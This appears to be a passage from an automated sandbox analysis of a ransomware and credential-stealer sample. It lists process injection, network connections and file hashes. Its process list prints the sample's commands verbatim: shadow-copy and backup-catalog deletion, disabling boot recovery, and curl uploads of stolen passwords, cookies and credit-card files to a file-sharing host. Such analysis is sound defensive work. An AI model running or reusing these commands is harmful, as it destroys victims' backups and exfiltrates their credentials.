Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wbengine.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\wbengine.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wbengine.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3448 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 3448 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 3448 wrote to memory of 4064 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\main.exe
PID 3448 wrote to memory of 4064 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\main.exe
PID 3364 wrote to memory of 1592 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 3364 wrote to memory of 1592 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 1592 wrote to memory of 3032 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1592 wrote to memory of 3032 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 4064 wrote to memory of 4436 N/A C:\Users\Admin\AppData\Local\Temp\main.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 4064 wrote to memory of 4436 N/A C:\Users\Admin\AppData\Local\Temp\main.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 4436 wrote to memory of 116 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 4436 wrote to memory of 116 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 116 wrote to memory of 3528 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 116 wrote to memory of 3528 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 116 wrote to memory of 748 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 116 wrote to memory of 748 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4436 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 4436 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 1084 wrote to memory of 4468 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1084 wrote to memory of 4468 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1084 wrote to memory of 396 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1084 wrote to memory of 396 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 4436 wrote to memory of 4880 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 4436 wrote to memory of 4880 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 4880 wrote to memory of 1472 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\wbadmin.exe
PID 4880 wrote to memory of 1472 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\wbadmin.exe
PID 4436 wrote to memory of 288 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\system32\NOTEPAD.EXE
PID 4436 wrote to memory of 288 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\system32\NOTEPAD.EXE
PID 1592 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1592 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1516 wrote to memory of 3032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1516 wrote to memory of 3032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1592 wrote to memory of 4900 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1592 wrote to memory of 4900 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 4900 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4900 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1592 wrote to memory of 4520 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1592 wrote to memory of 4520 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 4520 wrote to memory of 2820 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4520 wrote to memory of 2820 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1592 wrote to memory of 3956 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1592 wrote to memory of 3956 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 3956 wrote to memory of 4336 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 3956 wrote to memory of 4336 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1592 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1592 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1532 wrote to memory of 3832 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1532 wrote to memory of 3832 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1592 wrote to memory of 4992 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1592 wrote to memory of 4992 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 4992 wrote to memory of 3604 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4992 wrote to memory of 3604 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1592 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 1592 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Windows\system32\cmd.exe
PID 4576 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4576 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe

"C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe"

C:\Users\Admin\AppData\Local\Temp\mai.exe

"C:\Users\Admin\AppData\Local\Temp\mai.exe"

C:\Users\Admin\AppData\Local\Temp\main.exe

"C:\Users\Admin\AppData\Local\Temp\main.exe"

C:\Users\Admin\AppData\Local\Temp\mai.exe

"C:\Users\Admin\AppData\Local\Temp\mai.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Users\Admin\AppData\Roaming\svchost.exe

"C:\Users\Admin\AppData\Roaming\svchost.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete

C:\Windows\system32\vssadmin.exe

vssadmin delete shadows /all /quiet

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled no

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet

C:\Windows\system32\wbadmin.exe

wbadmin delete catalog -quiet

C:\Windows\system32\wbengine.exe

"C:\Windows\system32\wbengine.exe"

C:\Windows\System32\vdsldr.exe

C:\Windows\System32\vdsldr.exe -Embedding

C:\Windows\System32\vds.exe

C:\Windows\System32\vds.exe

C:\Windows\system32\NOTEPAD.EXE

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\read_it.txt

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store4.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store4.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store4.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store4.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store4.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store4.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store4.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store4.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store4.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store4.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store4.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store4.gofile.io/uploadFile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/UseEdit.xml.deathgrip" https://store4.gofile.io/uploadFile"

C:\Windows\system32\curl.exe

curl -F "file=@C:\Users\Admin/Downloads/UseEdit.xml.deathgrip" https://store4.gofile.io/uploadFile

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 rentry.co udp
US 104.26.3.16:443 rentry.co tcp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 104.26.3.16:443 rentry.co tcp
US 104.26.3.16:443 rentry.co tcp
US 8.8.8.8:53 16.3.26.104.in-addr.arpa udp
US 104.26.3.16:443 rentry.co tcp
US 8.8.8.8:53 api.ipify.org udp
US 104.26.12.205:443 api.ipify.org tcp
US 8.8.8.8:53 api.gofile.io udp
FR 51.38.43.18:443 api.gofile.io tcp
US 8.8.8.8:53 205.12.26.104.in-addr.arpa udp
US 8.8.8.8:53 geolocation-db.com udp
DE 159.89.102.253:443 geolocation-db.com tcp
US 8.8.8.8:53 18.43.38.51.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 store4.gofile.io udp
FR 31.14.70.245:443 store4.gofile.io tcp
US 8.8.8.8:53 discord.com udp
US 162.159.128.233:443 discord.com tcp
FR 31.14.70.245:443 store4.gofile.io tcp
US 8.8.8.8:53 245.70.14.31.in-addr.arpa udp
US 8.8.8.8:53 73.65.201.23.in-addr.arpa udp
FR 31.14.70.245:443 store4.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 233.128.159.162.in-addr.arpa udp
FR 31.14.70.245:443 store4.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
FR 31.14.70.245:443 store4.gofile.io tcp
FR 31.14.70.245:443 store4.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 162.159.128.233:443 discord.com tcp
FR 31.14.70.245:443 store4.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 44.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\mai.exe

MD5 2820bd39a045f5f3971f3bd1d9067306
SHA1 de9651c54a35d659d933ef4fead0a22a3dcd198b
SHA256 228b8906a5245a2d8cada15f7c46f8d434f97c31bd2389cbe82b318edd7f74b0
SHA512 1c197ffde7dacb0f162f464eb7020421a663c2d6837ff1ad4842ed31a950a3eec6330c430dfdd144ab6aeca99815483a315ae486cba621407cde8485de690b89

C:\Users\Admin\AppData\Local\Temp\main.exe

MD5 840eb9e50c131322605c5ea90ae1312f
SHA1 fc9548f91123e05196dad6bcab11d29abd01500c
SHA256 f9600b1b06588e3815a55eb81e35289f7b9a5749ae623550734c5f3d8c04e038
SHA512 8e37c5890089bf1997e1c4c777a92f71eae9a86f11d1fb3cb3671dfa8c15c4365ed1f8811e6aae4d31f0fe73c1960b142f684a5274f086491f7d238a79313ffe

memory/4064-50-0x00007FF854DF3000-0x00007FF854DF5000-memory.dmp

memory/4064-65-0x0000000000430000-0x0000000000582000-memory.dmp

memory/4064-141-0x00007FF854DF0000-0x00007FF8558B1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI33642\ucrtbase.dll

MD5 8e7680a8d07c3c4159241d31caaf369c
SHA1 62fe2d4ae788ee3d19e041d81696555a6262f575
SHA256 36cc22d92a60e57dee394f56a9d1ed1655ee9db89d2244a959005116a4184d80
SHA512 9509f5b07588a08a490f4c3cb859bbfe670052c1c83f92b9c3356afa664cb500364e09f9dafac7d387332cc52d9bb7bb84ceb1493f72d4d17ef08b9ee3cb4174

C:\Users\Admin\AppData\Local\Temp\_MEI33642\python311.dll

MD5 58e01abc9c9b5c885635180ed104fe95
SHA1 1c2f7216b125539d63bd111a7aba615c69deb8ba
SHA256 de1b95d2e951fc048c84684bc7df4346138910544ee335b61fc8e65f360c3837
SHA512 cd32c77191309d99aeed47699501b357b35669123f0dd70ed97c3791a009d1855ab27162db24a4bd9e719b68ee3b0539ee6db88e71abb9a2d4d629f87bc2c081

C:\Users\Admin\AppData\Local\Temp\_MEI33642\VCRUNTIME140.dll

MD5 49c96cecda5c6c660a107d378fdfc3d4
SHA1 00149b7a66723e3f0310f139489fe172f818ca8e
SHA256 69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc
SHA512 e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d

C:\Users\Admin\AppData\Local\Temp\_MEI33642\base_library.zip

MD5 611f3f285525f3c3354fd199140283a2
SHA1 8a0cf2dd234b0551e193c43f085115d5f0139620
SHA256 fe8ddb060df80f828b35d3ecae62a73d3105b493818385485f9428d7c6aad8e9
SHA512 bcb0d0c9816a266ac77e65476c18d3334f81114f1716c102a31d66a0098c483c6ecb712eb0967b920f15254ef6954e936a9d6d0ad33e7810fab6d06790ffba76

C:\Users\Admin\AppData\Local\Temp\_MEI33642\python3.dll

MD5 0e105f62fdd1ff4157560fe38512220b
SHA1 99bd69a94b3dc99fe2c0f7bbbcd05aa0bc8cd45c
SHA256 803ba8242b409080df166320c05a4402aab6dd30e31c4389871f4b68ca1ad423
SHA512 59c0f749ed9c59efdbcd04265b4985b1175fdd825e5a307745531ed2537397e739bc9290fdc3936cfd04f566e28bb76b878f124248b8344cf74f641c6b1101de

C:\Users\Admin\AppData\Local\Temp\_MEI33642\libffi-8.dll

MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978

C:\Users\Admin\AppData\Local\Temp\_MEI33642\_bz2.pyd

MD5 4438affaaa0ca1df5b9b1cdaa0115ec1
SHA1 4eda79eaf3de614d5f744aa9eea5bfcf66e2d386
SHA256 ec91e2b4baca31b992d016b84b70f110ce2b1b2dfd54f5e5bef6270ed7d13b85
SHA512 6992107ac4d2108e477bc81af667b8b8e5439231e7e9f4b15ce4bce1aeea811bc0f1aaa438be3b0e38597760cb504367512809ee1937c4b538a86724ae543ba6

C:\Users\Admin\AppData\Local\Temp\_MEI33642\_lzma.pyd

MD5 737119a80303ef4eccaa998d500e7640
SHA1 328c67c6c4d297ac13da725bf24467d8b5e982e3
SHA256 7158c1290ac29169160b3ec94d9c8bcde4012d67a555f325d44b418c54e2cc28
SHA512 1c9920e0841a65b01a0b339c5f5254d1039ef9a16fe0c2484a7e2a9048727f2cc081817aa771b0c574fb8d1a5a49dc39798a3c5e5b5e64392e9c168e1827be7c

C:\Users\Admin\AppData\Local\Temp\_MEI33642\_ctypes.pyd

MD5 6114277c6fc040f68d25ca90e25924cd
SHA1 028179c77cb3ba29cd8494049421eaa4900ccd0e
SHA256 f07fe92ce85f7786f96a4d59c6ee5c05fe1db63a1889ba40a67e37069639b656
SHA512 76e8ebefb9ba4ea8dcab8fce50629946af4f2b3f2f43163f75483cfb0a97968478c8aaef1d6a37be85bfc4c91a859deda6da21d3e753daefe084a203d839353d

C:\Users\Admin\AppData\Local\Temp\_MEI33642\pyexpat.pyd

MD5 cdcf0e74a32ad7dfeda859a0ce4fcb20
SHA1 c72b42a59ba5d83e8d481c6f05b917871b415f25
SHA256 91fe5b1b2de2847946e5b3f060678971d8127dfd7d2d37603fdcd31bd5c71197
SHA512 c26fdf57299b2c6085f1166b49bd9608d2dd8bc804034ebb03fb2bba6337206b6018bf7f74c069493ffae42f2e9d6337f6f7df5306b80b63c8c3a386bce69ea6

C:\Users\Admin\AppData\Local\Temp\_MEI33642\libssl-3.dll

MD5 64acb046fe68d64ee475e19f67253a3c
SHA1 d9e66c9437ce6f775189d6fdbd171635193ec4cc
SHA256 b21309abd3dbbb1bf8fb6aa3c250fc85d7b0d9984bf4c942d1d4421502f31a10
SHA512 f8b583981df528cf4f1854b94eff6f51dd9d4be91e6fa6329a8c4435b705457c868ae40ee030fa54bebb646a37b547bc182c9cbf0df9a07fea03a18cf85c6766

C:\Users\Admin\AppData\Local\Temp\_MEI33642\libcrypto-3.dll

MD5 7a6a8c2a8c379b111cdceb66b18d687d
SHA1 f3b8a4c731fa0145f224112f91f046fddf642794
SHA256 8e13b53ee25825b97f191d77b51ed03966f8b435773fa3fbc36f3eb668fc569b
SHA512 f2ef1702df861ef55ef397ad69985d62b675d348cab3862f6ca761f1ce3ee896f663a77d7b69b286be64e7c69be1215b03945781450b186fc02cfb1e4cb226b5

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-utility-l1-1-0.dll

MD5 26f020c0e210bce7c7428ac049a3c5da
SHA1 7bf44874b3ba7b5ba4b20bb81d3908e4cde2819c
SHA256 dfad88b5d54c597d81250b8569f6d381f7016f935742ac2138ba2a9ae514c601
SHA512 7da07143cab0a26b974fa90e3692d073b2e46e39875b2dd360648382d0bfca986338697600c4bc9fe54fc3826daa8fc8f2fec987de75480354c83aba612afa5f

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-time-l1-1-0.dll

MD5 b64b9e13c90f84d0b522cd0645c2100c
SHA1 39822cb8f0914a282773e4218877168909fdc18d
SHA256 2f6b0f89f4d680a9a9994d08aa5cd514794be584a379487906071756ac644bd6
SHA512 9cb03d1120de577bdb9ed720c4ec8a0b89db85969b74fbd900dcdc00cf85a78d9469290a5a5d39be3691cb99d49cf6b84569ac7669a798b1e9b6c71047b350de

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-string-l1-1-0.dll

MD5 5a82c7858065335cad14fb06f0465c7e
SHA1 c5804404d016f64f3f959973eaefb7820edc97ad
SHA256 3bf407f8386989aa5f8c82525c400b249e6f8d946a32f28c469c996569d5b2e3
SHA512 88a06e823f90ef32d62794dafe6c3e92755f1f1275c8192a50e982013a56cf58a3ba39e2d80b0dd5b56986f2a7d4c5b047a75f8d8f4b5b241cdf2d00beebd0d5

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-stdio-l1-1-0.dll

MD5 844e18709c2deda41f2228068a8d2ced
SHA1 871bf94a33fa6bb36fa1332f8ec98d8d3e6fe3b6
SHA256 799e9174163f5878bea68ca9a6d05c0edf375518e7cc6cc69300c2335f3b5ea2
SHA512 3bbb82d79f54d85dcbe6ee85a9909c999b760a09e8925d704a13ba18c0a610a97054ac8bd4c66c1d52ab08a474eda78542d5d79ae036f2c8e1f1e584f5122945

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-runtime-l1-1-0.dll

MD5 83433288a21ff0417c5ba56c2b410ce8
SHA1 b94a4ab62449bca8507d70d7fb5cbc5f5dfbf02c
SHA256 301c5418d2aee12b6b7c53dd9332926ce204a8351b69a84f8e7b8a1344fa7ea1
SHA512 f20de6248d391f537dcc06e80174734cdd1a47dc67e47f903284d48fb7d8082af4eed06436365fce3079aac5b4e07bbd9c1a1a5eb635c8fe082a59f566980310

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-process-l1-1-0.dll

MD5 e62a28c67a222b5af736b6c3d68b7c82
SHA1 2214b0229f5ffc17e65db03b085b085f4af9d830
SHA256 bd475e0c63ae3f59ea747632ab3d3a17dd66f957379fa1d67fa279718e9cd0f4
SHA512 2f3590d061492650ee55a7ce8e9f1d836b7bb6976ae31d674b5acf66c30a86a5c92619d28165a4a6c9c3d158bb57d764ee292440a3643b4e23cffcdb16de5097

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-math-l1-1-0.dll

MD5 ccf0a6129a16068a7c9aa3b0b7eeb425
SHA1 ea2461ab0b86c81520002ab6c3b5bf44205e070c
SHA256 80c09eb650cf3a913c093e46c7b382e2d7486fe43372c4bc00c991d2c8f07a05
SHA512 d4f2285c248ace34ea9192e23b3e82766346856501508a7a7fc3e6d07ee05b1e57ad033b060fe0cc24ee8dc61f97757b001f5261da8e063ab21ee80e323a306e

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-locale-l1-1-0.dll

MD5 a404e8ecee800e8beda84e8733a40170
SHA1 97a583e8b4bbcdaa98bae17db43b96123c4f7a6a
SHA256 80c291e9fcee694f03d105ba903799c79a546f2b5389ecd6349539c323c883aa
SHA512 66b99f5f2dcb698137ecbc5e76e5cf9fe39b786ea760926836598cabbfa6d7a27e2876ec3bf424a8cbb37e475834af55ef83abb2ed3c9d72c6a774c207cff0e0

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-heap-l1-1-0.dll

MD5 841cb7c4ba59f43b5b659dd3dfe02cd2
SHA1 5f81d14c98a7372191eceb65427f0c6e9f4ed5fa
SHA256 2eafce6ff69a237b17ae004f1c14241c3144be9eaeb4302fdc10dd1cb07b7673
SHA512 f446acb304960ba0d262d8519e1da6fe9263cc5a9da9ac9b92b0ac2ce8b3b90a4fd9d1fdfe7918b6a97afe62586a36abd8e8e18076d3ad4ad77763e901065914

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-filesystem-l1-1-0.dll

MD5 a5dce38bc9a149abe5d2f61db8d6cec0
SHA1 05b6620f7d59d727299de77abe517210adea7fe0
SHA256 a5b66647ee6794b7ee79f7a2a4a69dec304daea45a11f09100a1ab092495b14b
SHA512 252f7f841907c30ff34aa63c6f996514eb962fc6e1908645da8bbde137699fe056740520fee6ad9728d1310261e6e3a212e1b69a7334832ce95da599d7742450

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-environment-l1-1-0.dll

MD5 0eeb09c06c6926279484c3f0fbef85e7
SHA1 d074721738a1e9bb21b9a706a6097ec152e36a98
SHA256 10eb78864ebff85efc91cc91804f03fcd1b44d3a149877a9fa66261286348882
SHA512 3ceb44c0ca86928d2fdd75bf6442febafaca4de79108561e233030635f428539c44faae5bcf12ff6aa756c413ab7558ccc37eef8008c8aa5b37062d91f9d3613

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-convert-l1-1-0.dll

MD5 d66741472c891692054e0bac6dde100b
SHA1 4d7927e5bea5cac77a26dc36b09d22711d532c61
SHA256 252b14d09b0ea162166c50e41aea9c6f6ad8038b36701981e48edff615d3ed4b
SHA512 c5af302f237c436ac8fe42e0e017d9ed039b4c6a25c3772059f0a6929cba3633d690d1f84ab0460beb24a0704e2e1fe022e0e113780c6f92e3d38d1afa8cee95

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-crt-conio-l1-1-0.dll

MD5 19876c0a273c626f0e7bd28988ea290e
SHA1 8e7dd4807fe30786dd38dbb0daca63256178b77c
SHA256 07fda71f93c21a43d836d87fee199ac2572801993f00d6628dba9b52fcb25535
SHA512 cdd405f40ac1c0c27e281c4932fbbd6cc84471029d7f179ecf2e797b32bf208b3cd0ca6f702bb26f070f8cdd06b773c7beb84862e4c01794938932146e74f1ca

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-util-l1-1-0.dll

MD5 7a75bc355ca9f0995c2c27977fa8067e
SHA1 1c98833fd87f903b31d295f83754bca0f9792024
SHA256 52226dc5f1e8cd6a22c6a30406ed478e020ac8e3871a1a0c097eb56c97467870
SHA512 ba96fdd840a56c39aaa448a2cff5a2ee3955b5623f1b82362cb1d8d0ec5fbb51037bdc9f55fe7b6c9f57932267e151e167e7f8d0cb70e907d03a48e0c2617b5b

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-timezone-l1-1-0.dll

MD5 acf40d5e6799231cf7e4026bad0c50a0
SHA1 8f0395b7e7d2aac02130f47b23b50d1eab87466b
SHA256 64b5b95fe56b6df4c2d47d771bec32bd89267605df736e08c1249b802d6d48d1
SHA512 f66a61e89231b6dc95b26d97f5647da42400bc809f70789b9afc00a42b94ea3487913860b69a1b0ee59ed5eb62c3a0cade9e21f95da35fdd42d8ce51c5507632

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-sysinfo-l1-1-0.dll

MD5 7b997bd96cb7fa92dee640d5030f8bea
SHA1 ee258d5f6731778363aa030a6bc372ca9a34383c
SHA256 4bcd366eaf0bde99b472fa2bf4e0dda1d860b3f404019fb41bbb8ad3a6d4d8f2
SHA512 92b9f4dd0b8cc66a92553418a1e18bbbee775f4051cd49af20505151be20b41db11d42c7f2436a6fa57e4c55f55a0519a1960e378f216ba4d7801e2efb859b2a

C:\Users\Admin\AppData\Local\Temp\_MEI33642\api-ms-win-core-synch-l1-2-0.dll

MD5 5e393142274d7589ad3df926a529228c
SHA1 b9ca32fcc7959cb6342a1165b681ad4589c83991
SHA256 219cc445c1ad44f109219a3bb6900ab965cb6357504fc8110433b14f6a9b57be
